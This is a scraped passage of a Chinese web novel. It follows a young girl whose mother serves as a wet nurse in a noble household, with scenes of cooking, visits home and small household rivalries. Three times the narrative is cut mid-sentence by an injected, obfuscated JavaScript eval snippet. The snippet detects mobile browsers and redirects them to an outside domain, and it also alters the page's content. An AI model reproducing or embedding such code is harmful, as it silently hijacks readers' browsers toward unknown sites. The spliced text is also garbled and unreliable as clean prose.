除了两个奶娘，竹月和秋月也在旁边候着，平日也是她们二人给送饭的。 两人看着孩子，陈娘子这时说道：“许妹子，咱们两个奶娘若都围着孩子转，谁都休息不好，时间一久了奶水也不好。不如这样，分出白天黑夜来，这样也能更好地照顾小公子。许妹子，你说呢？” 陈娘子对跟来的丫鬟道：“也不知三娘子可说过这事儿，秋月姑娘可以去问问。” 秋月道：“各府都是这样，三娘子说这事儿你们商量着来就行。” 请两个奶娘本就是为了轮换，不然谁能日夜不休地照料孩子。两人才过来，也没想到生得这么快，就没定好此事儿，既然陈娘子提了，想必是想白日喂奶，这样夜里能多睡。 却听陈娘子道：“不然许妹子白日喂夜里睡，我就辛苦一下，夜里喂就成了。” 这人都是白天干活晚上睡觉，许娘子夜里喂过孩子，知道喂孩子的难处。 她不是爱占便宜之人，“不如这样，五日你夜里喂，五日我夜里喂，这样也不会太累人。” 陈娘子笑了笑，“没事儿，我轮不住了许妹子夜里喂个两天就成了。” 说着，就把孩子接了过去。 许娘子：“好，都成。” 这会儿也不早了，秋月去给两位奶娘拿饭菜，这小公子出生了，奶娘们更得吃好喝好些。 许娘子回了厢房，崔如英在屋里等了许久，问道：“娘，三娘子生了吗？” 许娘子道：“生了，生了个小公子。” 崔如英道：“那可真好，可娘怎么回来了？” 做奶娘不得喂孩子吗。 许娘子说道：“以后夜里陈娘子来，白日我再喂。” 说起来许娘子这也是占了便宜。 晚上照顾个孩子，辛苦着呢。 崔如英点点头，原来是这样，没想到陈娘子是这么好脾气的人。 正疑惑着，秋月就进来送饭食了，她把木饭盒放桌上，“今日三娘子生产有些晚，你们饿了吧。” 崔如英：“不饿不饿，何况还有点心呢，我和我娘也忧心着，知道三娘子平安生下来小公子，心里光顾着高兴了。” 秋月笑了笑，“这府上大喜，夫人发话了，燕归堂上下每人赏二两银子。许娘子和崔小娘子也沾沾喜气。” 按理说奶娘不是下人，也刚过来，算不得伺候有功，但是侯府不差几两银子。 秋月放下两个小荷包。 崔如英道：“秋月姐姐，替我们谢过夫人。三娘子如今生完了，可有还是什么想吃的？若是想吃包子，我还能去做。” 秋月笑意更深，“我这就去问问。” 等人一走，崔如英看着许娘子，说道：“娘，这是喜气哎，喜气你也要帮我拿着吗？” 许娘子道：“那锁柜子里了，可不能乱花，还是我拿着放心点儿。” 崔如英才不要，“我也得沾沾喜气，我会藏好的，肯定比娘藏砖缝里好。” 许娘子神色一变，“你咋知道？” 崔如英也愣住了，“我胡乱猜的。” 再说陆云蓁已经收拾好，由楚庚元裹着被子抱回了正屋。 没了血腥气，屋里有淡淡的果香和甜香。 陆云蓁因为生子力竭睡了一会儿，这会儿才睁开眼睛。 楚庚元一直握着她的手，“可算醒了，身子可有不适，饿不饿？” 陆云蓁看看肚子，那里还不舒服，生产的时候真觉得自己要疼死了，还好闯过这关了，忍着痛使劲两个多时辰，怎能不饿？ 若问想吃什么，陆云蓁就惦记昨天晚上吃的疙瘩汤，还有包子。 想多吃几个，说肚子大不好生，现在生完了，总不至于还用这个借口。 陆云蓁道：“让小厨房看看昨晚的包子还有吗，再喝点疙瘩汤就行了。” 楚庚元点点头，丫鬟就传话去了。 不一会儿丫鬟又回来，“昨晚的包子不剩什么，不过秋月问过崔小娘子，说三娘子想吃什么，她可以帮着做些。” 崔如英也没来得及吃晚饭就去了小厨房。 调好了馅儿，她又顺手弄了点鸡蛋面糊，里面加了细碎的葱花。 “三娘子现在在坐月子，水煎包就吃不得了，那个硬对牙口不好。包子还得蒸一会儿，我怕三娘子等不及，可以尝尝这鸡蛋饼。” 鸡蛋饼赵大娘也会做， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660126|156712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这东西几乎人人都会，不过崔如英做的不太一样，面糊调的更稀，葱花多，油不是菜油更不是猪油，而是炸过一大把葱的葱油。 油铺在锅底，一勺面糊往里一撒，然后锅柄顺着手一转，均匀地铺开了，那香味儿也溢出来了。 根本用不着铲子，薄薄一层，闻着就香。 另一个锅里煮着疙瘩汤，这个好得也快，盛出一碗连着鸡蛋饼赶紧让丫鬟端出去。 赵大娘那会儿刚见秋月把饭菜端走，后脚崔如英就来小厨房了，她道：“崔小娘子还没吃饭呢吧，不然也吃块鸡蛋饼。” 赵大娘子接过手，锅底放葱油，再来一铁勺面糊，转一圈儿翻个面儿，差不多就好了。 崔如英点点头，“我拿一张鸡蛋饼就够了，屋里还有别的饭，就先回去了，若是三娘子吃不下，我再想一想别的法子。” 赵大娘把崔如英送出去，厨房两人对一个七岁大的孩子没意见，反而觉得这么小都会做饭着实让人心疼，难怪都说穷人家的孩子早当家。 崔如英也就调了个馅儿，摊了张鸡蛋饼，没耽误太多时间，回去的时候见许娘子还没吃，等着她一块吃呢。 “娘，你可真好，我还带回来张鸡蛋饼，咱们一块吃吧！” 许娘子老实惯了，侯府让她吃啥她就吃啥，现在得喂奶了，可别吃坏了，“你自己吃就成了，行了行了，快吃吧，肚子饿了吧？” 崔如英点点头，她看今晚的饭食也不错。一碗小馄饨，皮薄馅大，只不过放的时间有点久，皮儿有些软，没那么好吃了。 不过馄饨里面有虾仁儿，长这么大，崔如英还没吃过虾呢，虾肉鲜甜，好吃的不得了。 还有两个猪肉烧饼，外壳酥酥的，一咬一掉渣。 里面肉也多，赵大娘做烧饼的手艺真不错。 不过鸡蛋饼是刚做出来的，尝了几口别的崔如英就光吃这个了。葱油香，尤其是猪油做的葱油，鸡蛋饼里崔如英还放了些红薯粉，吃着微弹，不那么面，边上那个圈有点焦，吃到嘴里香香的。 再喝几口馄饨汤，肚子差不多就饱了。不过她正是长身体的时候，这么多不吃完也浪费，所以使劲儿吃了个九分饱。 真舒服。 明早许娘子还要去照顾小公子，得早些睡。 小公子出生了，许娘子就没法子回家喂六丫了，不过还没喂几次呢，就得了六两的赏钱，许娘子也知足了。 有舍有得，如今要紧的事儿就是照顾好小公子。 许娘子现在白天得照顾孩子，夜里要睡觉，所以回家的事儿落在崔如英头上。、许娘子：“三丫，明儿你回去告诉一声，这些日子我就不往家里跑了，六丫托你刘婶儿找人家喝几口奶。” 崔如英道：“那成，我一会儿去找李嬷嬷说一声，明早上回去一趟。” 许娘子道：“路可还记得，可别乱跑。” 崔如英：“知道知道，我还能乱跑呀，我要跑了娘最听话懂事儿的闺女不就没了，以后我还得孝顺你呢。” 许娘子笑着道：“就你嘴贫。” 崔如英去找李嬷嬷了，说明儿上午回去一趟。 李嬷嬷说道：“崔小娘子等一会儿。” 刚刚陆云蓁吃了晚饭，一碗疙瘩汤，两张鸡蛋饼全吃了，说好吃合她胃口。 剩下的进了楚庚元的肚子。 李嬷嬷是想着崔如英年纪小，从城北回城南那么远呢，这要走丢了可怎么好。 进去没一会儿李嬷嬷就出来了，“崔小娘子，三娘子说了，明儿让车夫送你回去。” 15. 第十五章 攒点小钱 得知能坐车回，崔如英眼睛一亮，“那请嬷嬷替我谢过三娘子。” 李嬷嬷刚进去，定然是问陆云蓁去了。 李嬷嬷想，崔如英的确聪明通透，都能想到这上面来。 她心疼崔如英一人走那么远，又赶上陆云蓁晚饭用的香，夫妻俩一直在说崔家孩子不错，所以李嬷嬷才进去问了问陆云蓁的意思。 陆云蓁二话没说就道：“她一个孩子怎么回去，明儿让车夫送吧。” 楚庚元没什么意见，对于懂事之人，总会宽容几分。 陆云蓁还嘱咐，“明儿吃了早饭再走。” 至于崔家众人，陆云蓁没想到，崔如英性子好，可没好到要她连着照顾崔家一众人的地步。 崔如英知道陆云蓁在坐月子，所以没想着去打搅，让车夫送她，估计是看在酱肉包和鸡蛋饼上，坐车回能省不少力气呢。 回去跟许娘子一说，许娘子皱着眉道：“麻烦这作啥？这来回一趟远得很呢……” 崔如英道：“三娘子既然说了，那就不怕麻烦，不然也不会提的。而且我帮忙做些吃食，三娘子估计心里过意不去，所以才说让车夫送我的。” 陆云蓁让人送她，她日后也能回报，并非光占便宜。 至于请车夫吃些东西，许娘子也没嘱咐，崔如英做这些比她做的好多了。 许娘子没再说别的，她道：“明儿回去看看家里缺什么，侯府的事儿别乱往外说，还有你妹妹……” 崔如英道：“放心，我肯定看六丫，娘，我替你回去看看六丫。给钱，缺什么我得拿钱买。” 许娘子数了三十个铜板给她，“行了，睡吧。” 崔如英一骨碌爬起来：“我去刷牙，刷了牙再睡。” 次日一早，崔如英早饭跟着许娘子一块吃的，早饭是八宝粥和蒸饺子，几块点心还有一大杯煮过的羊奶。 本来陆云蓁临盆之期还得二十多天，这二十天若是许娘子天天回去，也能喂喂家里的六丫，这如今要在府里，六丫就没奶喝。 崔如英对奶喜爱程度一般，反倒是许娘子看着羊奶若有所思，欲言又止地看了她好几眼。 就差把想要给六丫喝羊奶写脸上了。 崔如英道：“羊奶我久不喝了，拿回去给六丫吧。” 许娘子：“这是给你的。” 崔如英：“反正我吃饱了，娘，你以后就告诉六丫，对她最好的是她三姐，让她以后孝顺我就行了。再说了，你来这做奶娘不也是为了咱们家吗？我又没少吃少喝。” 八宝粥蒸饺和点心，她就没想着带回去，全给吃了。 假如许娘子要她不吃，把东西带回去给四郎五郎，崔如英是不会答应的。 许娘子唉了一声，她嘴巴笨，只说了句行。崔如英找来水壶，是崔大山打的，把羊奶倒进去之后，背着就坐马车回城南了。 回来的不算早，这会儿城南街上早餐贩好多都已经收摊儿了。 就还剩阳春面和豆浆摊儿。 崔如英进巷子的时候，崔家一众人刚坐下吃早饭。崔如英还没进大门呢就使劲喊了一声爹，崔大山从屋里出来，“三丫回来啦！” 崔如英道：“爹，家里还有包子吗？三娘子让车夫送我回来了，我给车夫送几个包子去。” 崔大山也是疼孩子的，包子没全卖完就回来了，但是这会儿总得倚着客人，就把桌上的五个包子全装了，“你进屋吧，马车是不是在巷口，爹给送去。” 四郎五郎跑出来得快，围在崔如英身边，“三姐你回来啦！我跟弟弟都可听话了，鸡喂得也好，胖了不少呢。” 崔如英挨个摸了摸他俩脑袋，“做得不错，上回带爹带回来的点心尝着了没？好吃吗，你们听话，下回还给你们带。” 崔大郎笑着看着妹妹，二丫把碗筷放下，没出声，她还以为三丫在侯府，把家里都忘了呢。 崔如英摸完弟弟，又问：“大哥二姐，六丫呢？” 二丫：“屋里睡觉呢。” 崔如英：“我进去瞅瞅。” 六丫这会儿正睡着，白了点，比之前好看，崔如英捏了那六丫的小手，把水壶放下，“三娘子昨天生了个小公子，娘得喂小公子，以后没法儿回来。这是羊奶，你今儿喂六丫喝吧。” 妹妹有点瘦，崔如英道：“以后要是有奶，我天天给六丫送回来。” 二丫：“那感情好，米糊糊也不咋爱吃，昨儿刘婶儿抱去临街喂了一顿。” 崔如英从怀里摸了摸，摸出一朵小绢花，这是到街上她让车夫停下买的，花了三文钱，除此之外还买了五文钱的红枣，“姐，家里辛苦你了，娘说多亏了你，不然肯定不放心。对了，抱六丫喂奶给人拿东西了吗？” 二丫看着绢花有些不知所措，谁知崔如英一把塞她手里，她这才说道：“拿了回包子。” 崔如英把许娘子给她的钱拿出来，她给二丫数了二十文，“下回再过去给人买二十个鸡蛋，不然不让六丫喝奶了，我也不知道能不能天天回来。买鸡蛋的时候讲讲价，别说多少就给多少。” 二丫攥着铜板，点点头，“好。” 还剩下两文钱，崔如英给自己留了一文，剩下一文也塞给二丫了，虽然只有一文钱，但是，这也是钱。 崔如英：“拿着应急，缺啥就买啥，娘给你的。” 回来一趟，她就落下一文钱。 二丫攥着钱和绢花，“你吃饭了吗，要不要再吃点啊？等会儿，爹烤了红薯！” 没了包子，还有稀饭和红薯。 崔如英：“给我拿个烤红薯吧，姐我看看家里。” 崔如英和许娘子是十四走的，今天十七，屋里没啥变化，里里外外收拾得也干净，小鸡仔胖了点儿，但是也丑了，黄色的羽毛褪去，毛灰不溜秋的。 院子里的菜长高了，小葱崔大山给重新栽了，绿油油一片。不过家里用葱多，看还有一片心垦过的地，应该是新种的葱。 崔大山送完包子回来，跟着女儿道：“就昨天下雨没出摊，今天生意还行，一天蒸十二屉包子，你大哥跟着我出去卖。” 崔如英道：“爹，二姐要是能去，你让大哥在家歇两天，家里三个人呢，轮着来呗。” 二丫性子老实，但是家里孩子多老实的那个就受气，总看孩子，时间久了心里也难受。 崔大山点点头，“你娘还好吗，有啥吃的你们自己吃了，不用惦记着家里，家里啥都有。” 崔如英想，家里还有啥，一眼望去就能看全了，“还行，小公子出生了，娘这几天白日喂奶，夜里得睡觉，来不及回家。三娘子性子好，不是多事儿的人。” “爹，你给我们打一个这么高这么长的屏风吧，我们跟另一个奶娘住在一块儿，有个屏风还方便点。” 屏风崔大山给别人打过，算是得心应手，“过几天就给你们送去。” 崔如英点点头，“我去刘婶儿家看看。” 还好买了红枣，不然都没东西拿了。 崔如英在刘婶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660127|156712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿家待了一刻钟，先谢了她带六丫去喝奶，又谢谢这两天照顾崔家。 刘婶儿本不打算要的，这两天光吃崔家的包子都吃好些个，哪能一直要东西。再说了奶娘不是谁都能去当的，她牵个线儿，许娘子能当上是自己的本事，况且给大户人家做奶娘也不是啥轻巧活儿。 崔如英道：“我娘跟您好，惦记着我也没办法，就是还得劳烦婶子多照顾着点儿。六丫太小了，要是谁家生了娃，还得讨口奶喝。” 刘娘子道：“这哪儿的话，让你娘放心！我再打听打听，到时候我抱着六丫去就行了。” 崔如英真心实意道：“多谢婶子！” 刘婶儿：“别跟婶子客气。” 又说了几句话，崔如英就要走，刘婶儿道：“等着，我给你薅点葱吧。” 她看崔家葱不多了，做包子用葱多，她家还有。 崔如英抱了一大捆葱回去，二丫给接过来放到厨房，现在天越来越暖和，在外头会晒蔫巴的。 崔如英看着她这个二姐，这么会儿功夫，已经把绢花带上了。 淡粉色的，还挺好看。 出摊回来家里也不是没事儿做，要买面刷锅，崔大山半点都不闲着。 崔如英也没离开家这么久过，还挺想家里，又进屋看了看六丫，许娘子最惦记她。 二丫在一旁，看着两个妹妹，没忍住问了句，“侯府好吗？” 崔如英道：“还成，咱们家以后也能这么好。” 二丫点了点头，三丫去就去吧，能吃好吃的，不忘了家里就行。 崔如英看二丫好奇，简单说了两句，并鼓励道：“咱们家好好卖包子，以后赚的钱开铺子，还能卖别的，就能赚更多的钱，换大房子了。姐，你一定好好看着爹和大哥，要好好干活不能偷懒。到时候别说一朵绢花，十朵一百朵都有！” 二丫：“真的？” 崔如英：“那当然啦，虽然三娘子的儿子生下来就是小公子，但他们祖辈也不是生下来就是侯爷的。” 姐妹俩说着话，崔大山在外头喊，“三丫，还不走呢？” 他和许娘子想的一样，哪能麻烦人家回回送，送一回接一回，这都三回了。不过已经麻烦了，就别再耽搁，万一侯府还要用车，早回去些好。 所以崔大山才忍不住催。 二丫道：“行了，快走吧，让娘别惦记家里。” 崔如英点点头，不像那日走，今儿还有些不舍，这才多大一会儿。 临走，崔大山给崔如英装了三个烤红薯，杯子也给刷干净了，还塞了五文钱，出门在外用钱的地方多，侯府是好，但不是自己家。 崔如英又高兴了，算了算，除了二两银子，她还有吃早饭剩的五文，回来的一文，崔大山给的五文。 二两十一文钱，都赶上没卖包子前一家的存钱了。 这些钱崔如英打算藏好，这边赶回侯府，崔如英先跟李嬷嬷说了声。 许娘子在东屋里照顾小公子，崔如英没去打搅，想着陈娘子早上刚喂奶回来，这会儿应该在屋里睡觉，就轻手轻脚进的厢房。 她啃了个红薯，把钱藏好，也没弄出太大动静，闲着没事儿，崔如英把生煎包水煎包的方子又想了想，东西越多摊子才能越长久，对以后开铺子也有好处。 一口气不能吃成胖子，慢慢来，现在赚的钱足够家里日子好过点了。 这般想着，临近正午，她看见陈娘子推门进来了。 陈娘子没在里面睡觉吗？ 16. 第十六章 梨花簪子 崔如英有些疑惑，陈娘子怎么从外面回来了，这么长时间，想来跟她一样，是回家来着。 陈娘子看了崔如英一眼，什么话都没说，直接绕过屏风，那边动静窸窸簌簌的，很快，崔如英就听见陈娘子躺下了。 崔如英想，昨儿下大雨，陈娘子也回去了，没想到昨天晚上看了一夜孩子，今天竟然还能回去。 陈娘子对她女儿还挺不错的。 反正陈娘子回去肯定是问过李嬷嬷的，崔如英不爱管闲事。 但她觉得让许娘子白日里喂奶，晚上再回去喂六丫不太可能。一来崔家离得远，不似陈家近，不可能日日让车夫送，来回就得一个多时辰。二来晚上天黑，路也不好走。 不一会儿秋月过来送饭，许娘子不在，崔如英自己吃的。 几块排骨，小条清蒸鱼，素菜青豆炒肉，还有碗贝柱鸡蛋羹，后面两样在崔家都算荤菜的。 鱼是什么鱼崔如英不认识，但吃着很鲜甜，肉是一块一块儿的蒜瓣儿肉，没有腥味儿，就一根刺。 崔如英许久不吃鱼了，啃得干干净净。 而那头陈娘子，又起来吃了顿饭，她瞥了崔如英一眼，一个丫头片子，吃得还怪好的。 吃过午饭，陈娘子就睡起了大觉，崔如英也不知何时醒的，醒来就听见陈娘子在一旁的呼噜声，她翻了个身，清醒了一会儿李嬷嬷轻轻推门进来，“崔小娘子可醒了？” 崔如英坐了起来，“李嬷嬷？” 李嬷嬷小声道：“三娘子想请你过去说说话。” 崔如英来这儿就是为了陪陆云蓁说话，她道：“我收拾收拾，一会儿就过去。” 刚睡醒，崔如英头发还乱糟糟的。 崔如英过去的时候，陆云蓁正靠床坐着，刚生产完脸色有些苍白，唇色也苍白，身上盖着厚被子，头发披散在肩上，头上戴着个抹额。 崔如英忍不住问道：“三娘子，还疼吗？” 陆云蓁摇了摇头，“生的那会儿疼，不过这会儿已经好多了。” 看了孩子心里只有满足，也就忘了疼了。生完之后只有人说她辛苦，还没人问过她疼不疼。 崔如英看了看，“肚子也不见了。” 尽管见过许娘子生孩子，可看到这番场景还是觉得神奇。 “孩子都生出来了，肚子可不就不见了。”陆云蓁朝崔如英招招手，“坐床边来吧，听李嬷嬷说你上午回家来着，家里一切可都还好？” 崔如英点点头，“生意不错，妹妹也挺好。” 陆云蓁点了点头，“你呢，这两天在府上住着吃住可还习惯？” 崔如英道：“住还好，我和我娘不挤，不过三个人同住一屋，还是有些许不方便之处，三娘子，我想让我爹打了个屏风，过几日送来成吗？” 陆云蓁：“我倒忘了你父亲是木匠，你早同我说，让丫鬟去库房拿一面屏风就是。” 生过孩子之后，陆云蓁身上多了股柔和气息，人更温柔了。 崔如英道：“这么点儿小事儿，我爹就能给办了，再说了，前日又刚来，你昨儿还在生孩子，哪有空操心这个呀，三娘子不怪我善作主张就好。” 陆云蓁：“胡说，什么擅作主张，你能把这儿当自己家就好。” 崔如英：“吃的比在家里好，三娘子呢，也得多吃些，这样才能养好身子。” 孩子的关心会让人觉得真挚，陆云蓁不禁笑了笑。 只不过燕归堂厨娘的手艺吃惯了，今儿中午一顿饭，好几样菜，这个两筷子那个三筷子，勉强吃个五分饱，她就吃不下了。 还不如酱肉包吃着香，昨晚的鸡蛋饼也清淡，却不是这个清淡法。 下人说清淡点的最是滋补，话虽如此，可太过清淡，也没胃口。 怀孕九个多月，忌口了九个多月，终于生了，还得忌口。 孩子有奶娘丫鬟照料，根本用不着陆云蓁操心，养好身子才是要紧事。 如今生了儿子，尽管陆云蓁说男女都一样，可在这样的世家大族，有儿子就有底气。 不然昨日赵婉芝怎会过来说那番话。 她早产怪不到赵婉芝头上，要怪也怪她自己不争气，因那么点话就动了胎气。 想起昨日，也是惊险万分，的确该养好身子。 陆云蓁道：“我吃得过于清淡了，这怀孕的时候吃的就清淡，孩子生下来了原以为好些，可中午的菜一点味道都没有。” 崔如英知道许娘子喂奶不能乱吃，刚生产完有清淡些有利于恢复，她道：“三娘子，这样吃要吃几日呀？” 陆云蓁：“我李嬷嬷去问了大夫，怎么也得三五日，后头就好些了。” 崔如英想，坐月子不能吃硬的，辛辣刺激恐怕也不利于恢复。 就算不这么清淡，也不能乱吃。 崔如英道：“三娘子，不然试试春饼？开春正是吃春饼的时候，薄薄一张饼，卷着菜吃，什么都能卷呢，有肉有菜，其实也清淡。” 有时候有肉不一定好吃，没肉也不一定难吃。 崔如英也不会日日都做饭，她又不是府上的厨子，又不给她月钱，偶尔帮帮忙，再给出出主意，这就差不多了。 两个厨娘呢，该她们操心陆云蓁吃什么。 崔如英道：“这春饼面得软一点，烙出来再用热气熏熏，就不会硌牙，里面的夹的菜可以试试白菜豆腐粉条，再炒一些肉丝，就差不多了。” 就比如京酱肉丝，那道菜也好吃，不过厨娘应该不会做这道。 陆云蓁被崔如英说的有些饿了，“可以试试，不然你晚上也吃这个，还是想吃别的。三丫，你要想吃什么，跟小厨房说就是。” 崔如英还是不太习惯这个名字，但她没有犹豫，“我也吃春饼吧！三娘子，我一会儿去小厨房问问赵大娘，能做不。” 京城人吃炒菜米饭多，面食少。 春饼也多是普通人家爱吃，用猪油炒，连肉都不用放，冬天囤的白菜、拿豆子换块豆腐、加上一些剩的碎粉头，炒一大锅，一家人就能美美吃上一顿。 陆云蓁倒是吃过春饼，不过是巴掌大薄薄一张，都是吃烤鸭时卷着吃。但今儿听崔如英说起那些清淡的白菜豆腐，反而勾起她的胃口。 陆云蓁道：“那可是麻烦你了。” 崔如英：“不麻烦，毕竟我也吃呀。” 陆云蓁还是过意不去，这样懂事的孩子，的确招人稀罕，“等会儿儿吧，一会儿把孩子抱来，你也看看。” * 崔如英去小厨房看了看，赵大娘擅长面食，王大娘擅做炒菜，听崔如英说，也就八九不离十。 不过光吃菜哪儿行，再去外头买一只烤鸭，德胜斋的烤鸭最好吃。 崔如英一听还要买烤鸭，遂道：“可有酸萝卜，用酸萝卜和鸭架炖点汤，肯定好喝，也开胃，省着油腻。” 赵大娘觉得这法子不错，她专心做饼，只不过做出来的不太一样，“我烙出来的面饼怎么这么硬呢？” 以前做春饼，都是用饺子皮大小的面皮蘸上油，一张一张压上，擀薄了再上锅蒸，蒸熟的饼皮软，一张张揭开正好。 这烙春饼还是头一回。 崔如英道：“婶子，得热水和面， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660128|156712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越软越好，面团中间放点油酥。一张饼皮能从中间一分为二最好。然后烙好的饼皮得放蒸锅上，热气熏着。” 崔如英手有点痒痒，她也想吃春饼，好不容易趁机吃一回，可别做差了。撸开袖子，热水和面，赵大娘吓一跳，赶紧给接过来。 这么小的人哪儿碰那么热的水，她皮糙肉厚受得住。 这样活的面的确软，薄薄一张饼皮，平底锅煎一会儿，两面就金黄了。 这样拿出来也有些硬，有些脆，不过等在蒸锅里放了一会之后的确软了。 一旁王大娘在掰粉条，掰好的粉条用热水泡上，普通人家吃这个是因为碎粉头炖菜时间一久就散了，但是在侯府，只会把粉条掰碎。 白菜全用的嫩芯，一点白菜帮都没有。豆腐是去大厨房拿的，白白净净一大块。 陆云蓁中午没吃多，就留崔如英在屋里吃的。 薄卷饼，白菜豆腐，一盘子烤鸭，还有一盘京酱肉丝。 汤是酸萝卜鸭架汤，没有辣椒还有生冷之物，白菜豆腐粉条连荤腥都不见。 饼皮没有薄如纸，却软如绸缎，虽然不能包容万物，可是这三道菜，能裹得紧紧的，什么清炖排骨，陆云蓁已经忘到脑后了。 裹着白菜豆腐粉条的春饼卷成一个小卷，咬一口，是豆腐的水嫩的粉条的柔和，没肉的确清淡，可里头似也有肉香的。 猪油炒的，能不香吗。 崔如英觉得赵大娘她们做的更吃好，以往吃粉头还会咯牙，但是这道白菜豆腐粉丝，特别随和。 陆云蓁道：“是好吃，还好有你。” 崔如英：“大鱼大肉吃多了，也得换换口味。” 烤鸭两人都没怎么吃，反而是白菜豆腐京酱肉丝，裹着卷饼几乎吃完了。 再喝碗鸭架汤，浑身舒坦。 吃过饭，崔如英让陆云蓁好好休息，陆云蓁喊了声李嬷嬷，“把我妆匣最下面那对梨花小钗子拿来。” 崔如英道：“三娘子，你不会是要给我吧？只一顿饭而已，吃了高兴就是，不必这么客气。” 李嬷嬷把装着小钗子的盒子拿过来，陆云蓁取来亲手戴到崔如英头上，“不是给，是送于你。” 崔如英年纪小，梳了双丫髻，一边一个，正好。 钗子是银的，上头两朵梨花是黄玉攒的，陆云蓁笑着打量一番，“好看，这是我幼时戴的，现在已经用不上了。本来想留给女儿，可这生了男孩也不便留给他。 你年纪小，戴着好看。千万别推来推去，我还坐着月子呢。” 崔如英没再扭捏，“三娘子，真的好看吗？” 陆云蓁点点头，“好看极了。” 崔如英笑着道：“谢谢三娘子。” 陆云蓁道：“也谢谢你费心为我想吃食。” 陆云蓁还坐月子呢，崔如英没再打搅，便回了厢房。 等到太阳落山，夜幕降临，屋里都点了灯了，陈娘子还没起来，屏风那边还有呼噜声。 崔如英估摸着该到戌时了，可陈娘子不起，怎么换人。 又等了一会儿，秋月就来屋里喊陈娘子，大概是因为上午出了趟门，下午觉不够睡，所以喊了几声，陈娘子才醒过来。 平日也就罢了，现在两个人看孩子，拿一样的工钱，她晚一会儿，许娘子就得多看一会儿。 陈娘子迷迷瞪瞪睁开眼，嘴上说着马上马上，但又在屋里收拾了好一会儿才去东屋。 崔如英等啊等，许娘子才回来。 许娘子神色有些疲倦，崔如英忍不住道：“都怪陈娘子起不来，害娘回来晚了。” 17. 第十七章 名字 许娘子好脾气道：“多看一会儿也不费劲，谁都有忙的时候，更何况夜里看更累人。” 其实月子里还不算太忙，孩子睡的时候多，醒了换尿布喂奶，拍拍嗝晒晒黄疸，等能翻身之后，怕磕了碰了，就得更仔细。 她白天看已经占了便宜了，咋好意思因为一时半会儿的说人不好。 许娘子坐着歇了一会儿，问崔如英六丫咋样。 崔如英道：“才两天，看着没长多少，我把羊奶留下了，还去了刘婶儿家一趟。” 崔如英把刘婶儿抱六丫去临街喝奶的事儿说了说，那三十文钱也交代了。 许娘子嫌买绢花乱花钱，崔如英道：“二姐都这么大了，在家多累，你都给我做了新衣裳，她能高兴吗？” 许娘子这才看见崔如英头上的小钗子，是梨花样子，跟袖口上的小花正相呼应，“你头上这哪来的？” 崔如英道：“下午三娘子叫我过去说了会儿话，她中午吃的不好，我就跟厨娘说了做春饼。春饼反而能用的多些，然后三娘子就把这对小钗子给了我。娘，我本来不想要，可是三娘子盛情难却，她坐着月子呢，我也不好跟她拉扯这个。” 崔如英的确没想要，若只是让车夫送送，她高高兴兴的。 不过要都要了，崔如英笑着问：“娘，好看吗？” 许娘子在心里叹了口气，几个孩子里三丫长得最好，戴着这个哪儿能不好看呢。 只不过做娘的，看见自己买不起的别人给了女儿，心里就有些难受。 许娘子：“既然是三娘子给的，就好好收着。” 到底是说不出让崔如英别往外戴的话来。 崔如英笑了笑，恰巧秋月来送饭食，崔如英催着许娘子快吃饭。 有丫鬟帮衬，小公子又成日睡着，许娘子没到忙起来脚不沾地的地步，只不过别人家的孩子要更上心谨慎，所以一天紧绷着，才觉得累。 吃过饭，崔如英又催许娘子赶紧睡，比起卖包子，这三两银子赚的也不容易，不过做生意得有头脑，当初的日子能做奶娘已是万中之幸了。 只不过，陈娘子这人欺软怕硬，就是吃定她娘脾气哈，可回回让她这么欺负，那怎么行。 崔如英打算再看看，要是一直这样，得想法子。 次日一早，许娘子不到辰时就醒了，醒来轻手轻脚收拾好，也没喊崔如英，还抓紧时间吃了个饭。 两人定好了早上辰时轮换，晚上戌时轮换，一人六个时辰。 崔如英醒的时候，正听见门口许娘子跟陈娘子说话，陈娘子乐呵呵地说道：“许妹子，昨儿起得有些晚了，辛苦妹子多看会儿，真是对不住。” 崔如英坐起来，离门口近，她见许娘子反倒一脸不好意思道：“哪儿的话，都有忙的时候，况且晚上看更累些。你快回去睡觉吧，这也累了一晚上了。” 陈娘子笑了笑，“成，那我就回去了。” 天已经亮了，陈娘子笑着看了崔如英一眼，“三丫也醒啦。” 崔如英点点头，“婶子回来了。” 陈娘子打了个哈欠，“这一晚上也累人，真困呐。” 她目光落在崔如英脸上，很快，她眼睛骨碌骨碌转着，就瞥到一旁桌子上的梨花银钗上，“这钗子挺好看的。” 崔如英把钗子拿起来，道：“那可不，三娘子给我的，婶子也觉得好看吧。” 陈娘子问的道：“来，你跟婶子说说，都帮三娘子啥忙了，三娘子给你这个？” 